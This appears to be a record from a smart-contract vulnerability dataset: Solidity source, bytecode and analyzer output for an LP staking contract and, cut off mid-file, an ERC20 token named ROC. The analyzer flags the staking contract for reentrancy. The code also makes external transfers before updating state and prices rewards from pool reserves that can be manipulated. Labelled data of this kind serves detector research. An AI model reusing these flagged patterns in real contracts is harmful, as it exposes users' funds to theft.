0ff5d0f682d2b3e49c37f70029
|
{"success": true, "error": null, "results": {}}
| 2,490 |
0xa629752709ea5e5b1f2fef766c6f490e3a8a78a3
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
/**
* @title Staking
* @author gotbit
*/
interface IERC20 {
function totalSupply() external view returns (uint256 supply);
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool trans);
}
interface ILP is IERC20 {
function token0() external view returns (IERC20);
function getReserves()
external
view
returns (
uint112,
uint112,
uint32
);
}
contract OwnableAndWhitelistble {
address public owner;
mapping(address => bool) internal whitelist;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event WhitelistAdded(address indexed sender, address indexed whitelistUser);
event WhitelistRemoved(address indexed sender, address indexed whitelistUser);
modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "You cant transfer ownerships to address 0x0");
require(newOwner != owner, "You cant transfer ownerships to yourself");
emit OwnershipTransferred(owner, newOwner);
whitelist[owner] = false;
whitelist[newOwner] = true;
owner = newOwner;
}
modifier onlyWhitelist() {
require(whitelist[msg.sender], "Only whitelist users can call this function");
_;
}
function addToWhitelist(address newWhitelistUser) external onlyOwner {
require(newWhitelistUser != address(0), "You cant add to whitelist address 0x0");
emit WhitelistAdded(msg.sender, newWhitelistUser);
whitelist[newWhitelistUser] = true;
}
function removeFromWhitelist(address newWhitelistUser) external onlyOwner {
require(whitelist[newWhitelistUser], "You cant remove from whitelist");
emit WhitelistRemoved(msg.sender, newWhitelistUser);
whitelist[newWhitelistUser] = false;
}
}
contract LPStaking is OwnableAndWhitelistble {
struct Stake {
uint256 amount;
uint256 startStaking;
uint256 lastHarvest;
uint256 bonus;
uint256 boost;
}
IERC20 mainToken;
address dividends;
uint256 public rate = 888;
uint256 public lowRate = 70;
uint256 public alpha = 1111;
uint256 public betta = 1;
mapping(ILP => uint256) public pools;
mapping(ILP => mapping(address => bool)) public userIncludes;
mapping(ILP => address[]) public users;
uint256 public constant cutoff = 48 hours;
uint256 public constant beforeCutoff = 15;
uint256 public constant afterCutoff = 10;
mapping(ILP => bool) public isPermittedLP;
mapping(address => mapping(ILP => Stake)) public stakes;
event Staked(address indexed who, ILP indexed lpToken, uint256 amount, uint256 startTime);
event AddedAmount(address indexed who, ILP indexed lpToken, uint256 amount);
event Harvested(address indexed who, ILP indexed lpToken, uint256 value, uint256 toDividends);
event Unstaked(address indexed who, ILP indexed lpToken, uint256 amount);
event Boosted(address indexed who, ILP indexed lpToken, uint256 boost);
event SettedPermisionLPToken(ILP indexed lpToken, bool perm);
event SettedAlpha(address indexed sender, uint256 alpha);
event SettedBetta(address indexed sender, uint256 betta);
event SettedLowRate(address indexed sender, uint256 lowRate);
event SettedDividends(address indexed sender, address indexed dividends);
constructor(
address _owner,
IERC20 _token,
address _dividends
) {
owner = _owner;
whitelist[_owner] = true;
mainToken = _token;
dividends = _dividends;
}
function stake(ILP _lpToken, uint256 _amount) external {
require(_amount > 0, "Amount must be greater then zero");
require(stakes[msg.sender][_lpToken].startStaking == 0, "You have already staked");
require(isPermittedLP[_lpToken], "You cant stake those LP tokens");
require(_lpToken.balanceOf(msg.sender) >= _amount, "You dont enough LP tokens");
require(_lpToken.transferFrom(msg.sender, address(this), _amount), "Transfer issues");
addBonuses(_lpToken, _amount);
pools[_lpToken] += _amount;
stakes[msg.sender][_lpToken] = Stake({
amount: _amount,
startStaking: block.timestamp,
lastHarvest: block.timestamp,
bonus: 0,
boost: 0
});
addUser(msg.sender, _lpToken);
emit Staked(msg.sender, _lpToken, _amount, block.timestamp);
}
function addAmount(uint256 _amount, ILP _lpToken) external {
require(_amount > 0, "Amount must be greater then zero");
require(stakes[msg.sender][_lpToken].startStaking != 0, "You dont have stake");
require(isPermittedLP[_lpToken], "You cant stake those LP tokens");
require(_lpToken.balanceOf(msg.sender) >= _amount, "You dont have enough LP tokens");
require(_lpToken.transferFrom(msg.sender, address(this), _amount), "Transfer issues");
addBonuses(_lpToken, _amount);
pools[_lpToken] += _amount;
stakes[msg.sender][_lpToken].amount += _amount;
emit AddedAmount(msg.sender, _lpToken, _amount);
}
function harvest(ILP _lpToken) public {
require(stakes[msg.sender][_lpToken].startStaking != 0, "You dont have stake");
(uint256 _value, uint256 _toDividends) = harvested(msg.sender, _lpToken);
require(mainToken.balanceOf(address(this)) >= (_value + _toDividends), "Contract doesnt have enough DES");
stakes[msg.sender][_lpToken].lastHarvest = block.timestamp;
stakes[msg.sender][_lpToken].bonus = 0;
require(mainToken.transfer(msg.sender, _value), "Transfer issues");
require(mainToken.transfer(dividends, _toDividends), "Transfer issues");
emit Harvested(msg.sender, _lpToken, _value, _toDividends);
}
function harvestedRaw(
address _who,
ILP _lpToken,
uint256 _pool,
uint256 _time
) public view returns (uint256 _value, uint256 _toDividends) {
require(stakes[_who][_lpToken].startStaking != 0, "You dont have stake");
if (stakes[_who][_lpToken].lastHarvest == 0) return (0, 0);
Stake memory _stake = stakes[_who][_lpToken];
uint256 _timePassed = _time - _stake.lastHarvest;
uint256 _percentDiv = _timePassed < cutoff ? beforeCutoff : afterCutoff;
uint256 _rewardInLP = (_stake.amount * _timePassed * (getRawRate(_pool) + _stake.boost)) /
(100 * (365 days)) +
_stake.bonus;
uint256 _toDivInLP = (_rewardInLP * _percentDiv) / 100;
uint256 _rewardInToken = LPtoToken(_lpToken, _rewardInLP);
uint256 _toDivInToken = LPtoToken(_lpToken, _toDivInLP);
return (_rewardInToken - _toDivInToken, _toDivInToken);
}
function LPtoToken(ILP _lpToken, uint256 _amountLP) public view returns (uint256) {
uint256 _totalSupply = _lpToken.totalSupply();
(uint112 r0, uint112 r1, ) = _lpToken.getReserves();
if (mainToken == _lpToken.token0()) return (2 * r0 * _amountLP) / _totalSupply;
return (2 * r1 * _amountLP) / _totalSupply;
}
function harvested(address _who, ILP _lpToken) public view returns (uint256 _value, uint256 _toDividends) {
return harvestedRaw(_who, _lpToken, pools[_lpToken], block.timestamp);
}
function getRawRate(uint256 _pool) internal view returns (uint256 _rate) {
return ((rate - lowRate) * alpha * 1e18) / (_pool * betta + alpha * 1e18) + lowRate;
}
function getRate(ILP _lpToken) external view returns (uint256 _rate) {
return getRawRate(pools[_lpToken]);
}
function unstake(ILP _lpToken) public {
require(stakes[msg.sender][_lpToken].startStaking != 0, "You dont have stake");
harvest(_lpToken);
uint256 _amount = stakes[msg.sender][_lpToken].amount;
require(_lpToken.balanceOf(address(this)) >= _amount, "Contract doesnt have enough DES");
delete stakes[msg.sender][_lpToken];
removeUser(msg.sender, _lpToken);
require(_lpToken.transfer(msg.sender, _amount), "Transfer issues");
emit Unstaked(msg.sender, _lpToken, _amount);
}
function addUser(address _user, ILP _lpToken) internal returns (bool _status) {
users[_lpToken].push(_user);
userIncludes[_lpToken][_user] = true;
return true;
}
function removeUser(address _user, ILP _lpToken) internal returns (bool _status) {
uint256 _length = users[_lpToken].length;
address[] memory _users = users[_lpToken];
for (uint256 i = 0; i < _length; i++) {
if (_users[i] == _user) {
users[_lpToken][i] = _users[_length - 1];
users[_lpToken].pop();
userIncludes[_lpToken][_user] = false;
return true;
}
}
return false;
}
function addBonuses(ILP _lpToken, uint256 _amount) internal {
uint256 _length = users[_lpToken].length;
address[] memory _users = users[_lpToken];
uint256 _oldPool = pools[_lpToken];
uint256 _newPool = _oldPool + _amount;
for (uint256 i = 0; i < _length; i++) {
if (userIncludes[_lpToken][_users[i]]) {
(uint256 _oldVal, ) = harvestedRaw(_users[i], _lpToken, _oldPool, block.timestamp);
(uint256 _newVal, ) = harvestedRaw(_users[i], _lpToken, _newPool, block.timestamp);
stakes[_users[i]][_lpToken].bonus += _oldVal - _newVal;
}
}
}
function getUsers(ILP _lpToken) public view returns (address[] memory) {
return users[_lpToken];
}
function getStake(address _user, ILP _lpToken) external view returns (Stake memory) {
return stakes[_user][_lpToken];
}
function setBoost(
address _for,
ILP _lpToken,
uint256 _boost
) external onlyWhitelist {
stakes[_for][_lpToken].boost = _boost;
emit Boosted(_for, _lpToken, _boost);
}
function setDividends(address _newDividends) external onlyOwner {
dividends = _newDividends;
emit SettedDividends(msg.sender, _newDividends);
}
function setAlpha(uint256 _alpha) external onlyOwner {
require(_alpha > 0, "Alpha is incorrect");
alpha = _alpha;
emit SettedAlpha(msg.sender, _alpha);
}
function setBetta(uint256 _betta) external onlyOwner {
require(_betta >= 1, "Betta is incorrect");
betta = _betta;
emit SettedBetta(msg.sender, _betta);
}
function setLowRate(uint256 _lowRate) external onlyOwner {
lowRate = _lowRate;
emit SettedLowRate(msg.sender, _lowRate);
}
function setPermissionLP(ILP _lpToken, bool _perm) external onlyOwner {
isPermittedLP[_lpToken] = _perm;
emit SettedPermisionLPToken(_lpToken, _perm);
}
}
|
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063864a59f91161010f578063adc9772e116100a2578063e43252d711610071578063e43252d7146104f8578063f2888dbb1461050b578063f2fde38b1461051e578063f79745701461053157600080fd5b8063adc9772e146104b6578063b80a51f9146104c9578063c5bb0ada146104dc578063db1d0fd5146104ef57600080fd5b80639e9188ea116100de5780639e9188ea146103eb578063a2214b64146103fe578063a4063dbc14610426578063a4e47b661461044657600080fd5b8063864a59f9146103a95780638ab1d681146103bc5780638da5cb5b146103cf57806394525e12146103e257600080fd5b80633ae14aa31161018757806354a02f9e1161015657806354a02f9e146102ff57806354b02ba41461032a578063602b386e1461033457806382dda22d1461035457600080fd5b80633ae14aa3146102835780633c3bc832146102965780633cd674f8146102d4578063496d51da146102dc57600080fd5b80632c8b9065116101c35780632c8b9065146102425780632cb048c91461025557806337cef7911461026857806338ea53231461027b57600080fd5b80630c17d42c146101f55780630e5c011e1461020a5780631966d4f31461021d5780632c4e722e14610239575b600080fd5b61020861020336600461236a565b610544565b005b6102086102183660046121a2565b6105fa565b61022660075481565b6040519081526020015b60405180910390f35b61022660045481565b61020861025036600461236a565b6108df565b61020861026336600461236a565b610940565b6102266102763660046121a2565b6109e7565b610226600f81565b61020861029136600461239c565b610a0f565b6102c46102a43660046121c6565b600960209081526000928352604080842090915290825290205460ff1681565b6040519015158152602001610230565b610226600a81565b6102c46102ea3660046121a2565b600b6020526000908152604090205460ff1681565b61031261030d3660046122ee565b610d27565b6040516001600160a01b039091168152602001610230565b6102266202a30081565b6103476103423660046121a2565b610d5f565b60405161023091906123c1565b6103676103623660046121c6565b610dd5565b6040516102309190600060a082019050825182526020830151602083015260408301516040830152606083015160608301526080830151608083015292915050565b6102266103b73660046122ee565b610e6c565b6102086103ca3660046121a2565b61104a565b600054610312906001600160a01b031681565b61022660055481565b6102086103f93660046121a2565b611133565b61041161040c366004612240565b6111a9565b60408051928352602083019190915201610230565b6102266104343660046121a2565b60086020526000908152604090205481565b61048e6104543660046121c6565b600c602090815260009283526040808420909152908252902080546001820154600283015460038401546004909401549293919290919085565b604080519586526020860194909452928401919091526060830152608082015260a001610230565b6102086104c43660046122ee565b611351565b6104116104d73660046121c6565b611706565b6102086104ea3660046122c0565b61173a565b61022660065481565b6102086105063660046121a2565b6117c3565b6102086105193660046121a2565b6118ae565b61020861052c3660046121a2565b611aff565b61020861053f3660046121ff565b611c89565b6000546001600160a01b031633146105775760405162461bcd60e51b815260040161056e9061240e565b60405180910390fd5b600081116105bc5760405162461bcd60e51b8152602060048201526012602482015271105b1c1a18481a5cc81a5b98dbdc9c9958dd60721b604482015260640161056e565b600681905560405181815233907fb19e8e1ef2e2387279f0b8889b2d82e76c695ef4621f438f2c37bd3c12433d8f906020015b60405180910390a250565b336000908152600c602090815260408083206001600160a01b038516845290915290206001015461063d5760405162461bcd60e51b815260040161056e90612478565b60008061064a3384611706565b909250905061065981836124a5565b6002546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b15801561069c57600080fd5b505afa1580156106b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d49190612383565b10156107225760405162461bcd60e51b815260206004820152601f60248201527f436f6e747261637420646f65736e74206861766520656e6f7567682044455300604482015260640161056e565b336000818152600c602090815260408083206001600160a01b0388811685529252808320426002808301919091556003909101939093559154915163a9059cbb60e01b8152600481019390935260248301859052169063a9059cbb90604401602060405180830381600087803b15801561079b57600080fd5b505af11580156107af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d39190612286565b6107ef5760405162461bcd60e51b815260040161056e9061244f565b60025460035460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810184905291169063a9059cbb90604401602060405180830381600087803b15801561083f57600080fd5b505af1158015610853573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108779190612286565b6108935760405162461bcd60e51b815260040161056e9061244f565b60408051838152602081018390526001600160a01b0385169133917fc5ca8fc2af130d27971637eec9f6085b5535bf62d406885bbb132e17b1c9964c91015b60405180910390a3505050565b6000546001600160a01b031633146109095760405162461bcd60e51b815260040161056e9061240e565b600581905560405181815233907f93781beb12474d3162fc18da33c01d8d202dcc380400398fb1c0fa3402bd5c6c906020016105ef565b6000546001600160a01b0316331461096a5760405162461bcd60e51b815260040161056e9061240e565b60018110156109b05760405162461bcd60e51b815260206004820152601260248201527110995d1d18481a5cc81a5b98dbdc9c9958dd60721b604482015260640161056e565b600781905560405181815233907f4d4aa8e48f0d5f9d7947b114124a72d0763cd17558359972321fe8c3fba04fab906020016105ef565b6001600160a01b038116600090815260086020526040812054610a0990611d58565b92915050565b60008211610a5f5760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468656e207a65726f604482015260640161056e565b336000908152600c602090815260408083206001600160a01b0385168452909152902060010154610aa25760405162461bcd60e51b815260040161056e90612478565b6001600160a01b0381166000908152600b602052604090205460ff16610b0a5760405162461bcd60e51b815260206004820152601e60248201527f596f752063616e74207374616b652074686f7365204c5020746f6b656e730000604482015260640161056e565b6040516370a0823160e01b815233600482015282906001600160a01b038316906370a082319060240160206040518083038186803b158015610b4b57600080fd5b505afa158015610b5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b839190612383565b1015610bd15760405162461bcd60e51b815260206004820152601e60248201527f596f7520646f6e74206861766520656e6f756768204c5020746f6b656e730000604482015260640161056e565b6040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b038216906323b872dd90606401602060405180830381600087803b158015610c1f57600080fd5b505af1158015610c33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c579190612286565b610c735760405162461bcd60e51b815260040161056e9061244f565b610c7d8183611dcd565b6001600160a01b03811660009081526008602052604081208054849290610ca59084906124a5565b9091555050336000908152600c602090815260408083206001600160a01b038516845290915281208054849290610cdd9084906124a5565b90915550506040518281526001600160a01b0382169033907fb744e78a60dac89ffe4a361dfb27fd61cff3470701695c3ab8acf4770f920aba906020015b60405180910390a35050565b600a6020528160005260406000208181548110610d4357600080fd5b6000918252602090912001546001600160a01b03169150829050565b6001600160a01b0381166000908152600a6020908152604091829020805483518184028101840190945280845260609392830182828015610dc957602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610dab575b50505050509050919050565b610e076040518060a0016040528060008152602001600081526020016000815260200160008152602001600081525090565b506001600160a01b039182166000908152600c60209081526040808320939094168252918252829020825160a0810184528154815260018201549281019290925260028101549282019290925260038201546060820152600490910154608082015290565b600080836001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea857600080fd5b505afa158015610ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee09190612383565b9050600080856001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610f1e57600080fd5b505afa158015610f32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f56919061231a565b5091509150856001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015610f9457600080fd5b505afa158015610fa8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fcc91906122a3565b6002546001600160a01b0390811691161415611016578285610fef8460026124df565b6001600160701b0316611002919061250e565b61100c91906124bd565b9350505050610a09565b82856110238360026124df565b6001600160701b0316611036919061250e565b61104091906124bd565b9695505050505050565b6000546001600160a01b031633146110745760405162461bcd60e51b815260040161056e9061240e565b6001600160a01b03811660009081526001602052604090205460ff166110dc5760405162461bcd60e51b815260206004820152601e60248201527f596f752063616e742072656d6f76652066726f6d2077686974656c6973740000604482015260640161056e565b6040516001600160a01b0382169033907fe0fcf303ba3014f7bddb92283585b57ae29a68f05ceb43d0a0c1b92ad80c613c90600090a36001600160a01b03166000908152600160205260409020805460ff19169055565b6000546001600160a01b0316331461115d5760405162461bcd60e51b815260040161056e9061240e565b600380546001600160a01b0319166001600160a01b03831690811790915560405133907fbf166f068dc97ed8b1c49841efa00d006b96b3c034cdc7c2c12274b7be370fe290600090a350565b6001600160a01b038085166000908152600c6020908152604080832093871683529290529081206001015481906111f25760405162461bcd60e51b815260040161056e90612478565b6001600160a01b038087166000908152600c602090815260408083209389168352929052206002015461122a57506000905080611348565b6001600160a01b038087166000908152600c602090815260408083209389168352928152828220835160a0810185528154815260018201549281019290925260028101549382018490526003810154606083015260040154608082015291611292908661252d565b905060006202a30082106112a757600a6112aa565b600f5b90506000836060015163bbf81e0085608001516112c68b611d58565b6112d091906124a5565b86516112dd90879061250e565b6112e7919061250e565b6112f191906124bd565b6112fb91906124a5565b90506000606461130b848461250e565b61131591906124bd565b905060006113238b84610e6c565b905060006113318c84610e6c565b905061133d818361252d565b985096505050505050505b94509492505050565b600081116113a15760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468656e207a65726f604482015260640161056e565b336000908152600c602090815260408083206001600160a01b0386168452909152902060010154156114155760405162461bcd60e51b815260206004820152601760248201527f596f75206861766520616c7265616479207374616b6564000000000000000000604482015260640161056e565b6001600160a01b0382166000908152600b602052604090205460ff1661147d5760405162461bcd60e51b815260206004820152601e60248201527f596f752063616e74207374616b652074686f7365204c5020746f6b656e730000604482015260640161056e565b6040516370a0823160e01b815233600482015281906001600160a01b038416906370a082319060240160206040518083038186803b1580156114be57600080fd5b505afa1580156114d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f69190612383565b10156115445760405162461bcd60e51b815260206004820152601960248201527f596f7520646f6e7420656e6f756768204c5020746f6b656e7300000000000000604482015260640161056e565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd90606401602060405180830381600087803b15801561159257600080fd5b505af11580156115a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ca9190612286565b6115e65760405162461bcd60e51b815260040161056e9061244f565b6115f08282611dcd565b6001600160a01b038216600090815260086020526040812080548392906116189084906124a5565b90915550506040805160a0810182528281524260208083018281528385018381526000606086018181526080870182815233808452600c87528984206001600160a01b038d168086529088528a852099518a5595516001808b0191909155945160028a01559151600389015551600490970196909655600a8452868120805480840182559082528482200180546001600160a01b03191687179055828152600984528681208682528452869020805460ff1916909117905584518681529182019290925290927f6c86f3fd5118b3aa8bb4f389a617046de0a3d3d477de1a1673d227f802f616dc9101610d1b565b6001600160a01b038116600090815260086020526040812054819061172f9085908590426111a9565b915091509250929050565b6000546001600160a01b031633146117645760405162461bcd60e51b815260040161056e9061240e565b6001600160a01b0382166000818152600b6020908152604091829020805460ff191685151590811790915591519182527f1faf707755f935c0690b937742ed87cd051af7a4faf45c40ec66bdff93e91382910160405180910390a25050565b6000546001600160a01b031633146117ed5760405162461bcd60e51b815260040161056e9061240e565b6001600160a01b0381166118515760405162461bcd60e51b815260206004820152602560248201527f596f752063616e742061646420746f2077686974656c69737420616464726573604482015264073203078360dc1b606482015260840161056e565b6040516001600160a01b0382169033907f67385d0e3f500ff9deddc1292262190d227a7c30ebc71bdf4362662f6493f6ec90600090a36001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b336000908152600c602090815260408083206001600160a01b03851684529091529020600101546118f15760405162461bcd60e51b815260040161056e90612478565b6118fa816105fa565b336000908152600c602090815260408083206001600160a01b0385168085529252918290205491516370a0823160e01b81523060048201528291906370a082319060240160206040518083038186803b15801561195657600080fd5b505afa15801561196a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061198e9190612383565b10156119dc5760405162461bcd60e51b815260206004820152601f60248201527f436f6e747261637420646f65736e74206861766520656e6f7567682044455300604482015260640161056e565b336000818152600c602090815260408083206001600160a01b0387168452909152812081815560018101829055600281018290556003810182905560040155611a259083611fbe565b5060405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb90604401602060405180830381600087803b158015611a6e57600080fd5b505af1158015611a82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aa69190612286565b611ac25760405162461bcd60e51b815260040161056e9061244f565b6040518181526001600160a01b0383169033907fd8654fcc8cf5b36d30b3f5e4688fc78118e6d68de60b9994e09902268b57c3e390602001610d1b565b6000546001600160a01b03163314611b295760405162461bcd60e51b815260040161056e9061240e565b6001600160a01b038116611b935760405162461bcd60e51b815260206004820152602b60248201527f596f752063616e74207472616e73666572206f776e6572736869707320746f2060448201526a061646472657373203078360ac1b606482015260840161056e565b6000546001600160a01b0382811691161415611c025760405162461bcd60e51b815260206004820152602860248201527f596f752063616e74207472616e73666572206f776e6572736869707320746f206044820152673cb7bab939b2b63360c11b606482015260840161056e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b039081168252600160208190526040808420805460ff199081169091559490921680845291832080549094161790925580546001600160a01b0319169091179055565b3360009081526001602052604090205460ff16611cfc5760405162461bcd60e51b815260206004820152602b60248201527f4f6e6c792077686974656c6973742075736572732063616e2063616c6c20746860448201526a34b990333ab731ba34b7b760a91b606482015260840161056e565b6001600160a01b038381166000818152600c602090815260408083209487168084529482529182902060040185905590518481527f5bc277f123189e58865edca1ddf0e9c8a4252cf0d97cdc8bbd84d6278655124e91016108d2565b6000600554600654670de0b6b3a7640000611d73919061250e565b600754611d80908561250e565b611d8a91906124a5565b600654600554600454611d9d919061252d565b611da7919061250e565b611db990670de0b6b3a764000061250e565b611dc391906124bd565b610a0991906124a5565b6001600160a01b0382166000908152600a60209081526040808320805482518185028101850190935280835293928490830182828015611e3657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611e18575b505050506001600160a01b0386166000908152600860205260408120549293509050611e6285836124a5565b905060005b84811015611fb5576001600160a01b03871660009081526009602052604081208551909190869084908110611e9e57611e9e61258b565b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff1615611fa3576000611ef1858381518110611ee157611ee161258b565b60200260200101518986426111a9565b5090506000611f1b868481518110611f0b57611f0b61258b565b60200260200101518a86426111a9565b509050611f28818361252d565b600c6000888681518110611f3e57611f3e61258b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008b6001600160a01b03166001600160a01b031681526020019081526020016000206003016000828254611f9b91906124a5565b909155505050505b80611fad81612544565b915050611e67565b50505050505050565b6001600160a01b0381166000908152600a6020908152604080832080548251818502810185019093528083529284929190849083018282801561202a57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161200c575b5050505050905060005b8281101561217a57856001600160a01b03168282815181106120585761205861258b565b60200260200101516001600160a01b03161415612168578161207b60018561252d565b8151811061208b5761208b61258b565b6020026020010151600a6000876001600160a01b03166001600160a01b0316815260200190815260200160002082815481106120c9576120c961258b565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559187168152600a9091526040902080548061210e5761210e612575565b60008281526020808220830160001990810180546001600160a01b03191690559092019092556001600160a01b038781168352600982526040808420918a16845291529020805460ff191690555060019250610a09915050565b8061217281612544565b915050612034565b50600095945050505050565b80516001600160701b038116811461219d57600080fd5b919050565b6000602082840312156121b457600080fd5b81356121bf816125a1565b9392505050565b600080604083850312156121d957600080fd5b82356121e4816125a1565b915060208301356121f4816125a1565b809150509250929050565b60008060006060848603121561221457600080fd5b833561221f816125a1565b9250602084013561222f816125a1565b929592945050506040919091013590565b6000806000806080858703121561225657600080fd5b8435612261816125a1565b93506020850135612271816125a1565b93969395505050506040820135916060013590565b60006020828403121561229857600080fd5b81516121bf816125b9565b6000602082840312156122b557600080fd5b81516121bf816125a1565b600080604083850312156122d357600080fd5b82356122de816125a1565b915060208301356121f4816125b9565b6000806040838503121561230157600080fd5b823561230c816125a1565b946020939093013593505050565b60008060006060848603121561232f57600080fd5b61233884612186565b925061234660208501612186565b9150604084015163ffffffff8116811461235f57600080fd5b809150509250925092565b60006020828403121561237c57600080fd5b5035919050565b60006020828403121561239557600080fd5b5051919050565b600080604083850312156123af57600080fd5b8235915060208301356121f4816125a1565b6020808252825182820181905260009190848201906040850190845b818110156124025783516001600160a01b0316835292840192918401916001016123dd565b50909695505050505050565b60208082526021908201527f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6040820152603760f91b606082015260800190565b6020808252600f908201526e5472616e736665722069737375657360881b604082015260600190565b602080825260139082015272596f7520646f6e742068617665207374616b6560681b604082015260600190565b600082198211156124b8576124b861255f565b500190565b6000826124da57634e487b7160e01b600052601260045260246000fd5b500490565b60006001600160701b03808316818516818304811182151516156125055761250561255f565b02949350505050565b60008160001904831182151516156125285761252861255f565b500290565b60008282101561253f5761253f61255f565b500390565b60006000198214156125585761255861255f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146125b657600080fd5b50565b80151581146125b657600080fdfea26469706673582212205dabd9a30333802cc86368cdd078fd61077809c68b4ba3d831fc7616e8d6a2b964736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,491 |
0x40b8761e09edd3e74740f0e2b6982d8e414f527a
|
pragma solidity 0.4.21;
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract ROC is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ROC() public {
symbol = "ROC";
name = "NeoWorld Rare Ore C";
decimals = 18;
_totalSupply = 10000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
